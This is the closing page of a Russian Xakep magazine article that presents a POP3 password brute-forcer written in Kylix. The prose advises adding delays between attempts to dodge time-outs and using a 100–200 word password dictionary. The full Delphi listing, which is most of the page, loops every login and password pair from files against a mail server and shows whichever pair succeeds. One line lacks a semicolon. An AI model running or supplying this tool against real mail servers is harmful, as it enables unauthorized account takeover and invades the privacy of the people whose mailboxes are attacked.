|

Kylix. Против лома нет приема
Xakep, номер #039, стр. 039-073-3
Теперь все в твоих руках. Можешь доработать этот пример по своему усмотрению, добавив в него возможность паузы и продолжения. Можешь вставить задержку между попытками коннекта в пару секунд, что увеличит общее время перебора, зато исключит вероятность вылета по time-out.
И последний совет: заведи себе хороший словарь паролей из 100-200 слов и используй его. Если не подойдет, то лучше забудь, потому что перебор всех вариантов может забрать месяцы и более.
Дополнительную инфу, как всегда, можно найти на моем сайте www.cydsoft.com/vr-online. Там же после выхода этого номера журнала будут лежать исходники моего брутфорса. Так что если возникнут проблемы, то качай их.
ЛИСТИНГ
procedure TForm1.Button1Click(Sender: TObject);
var
LoginStrings, PassStrings:TStrings;
i, j:Integer;
begin
//Создаю массивы строк.
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Загружаю варианты справочники имен и паролей.
LoginStrings.LoadFromFile(NameEdit.Text);
PassStrings.LoadFromFile(PassEdit.Text);
//Устанавливаю адрес и порт сервера.
IdPOP.Host := ServerNameEdit.Text;
IdPOP.Port := StrToInt(PortEdit.Text);
//Начинаю перебор.
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
//Передаю имя и пароль компоненту.
IdPOP.UserID := LoginStrings.Strings[i];
IdPOP.Password := PassStrings.Strings[j];
//Попытка соединения.
try
IdPOP.Connect;
except
end;
//Если соединение установлено, то вывести об этом сообщение
if IdPOP.Connected then
begin
//Показать найденный пароль.
Application.MessageBox(PChar('Имя:'+LoginStrings.Strings[i]+
' Пароль:'+PassStrings.Strings[j]), 'Пароль найден');
IdPOP.Disconnect;
Exit;
end;
end;
//Уничтожаю массивы строк
LoginStrings.Free
PassStrings.Free;
end;
Назад на стр. 039-073-2 Содержание
|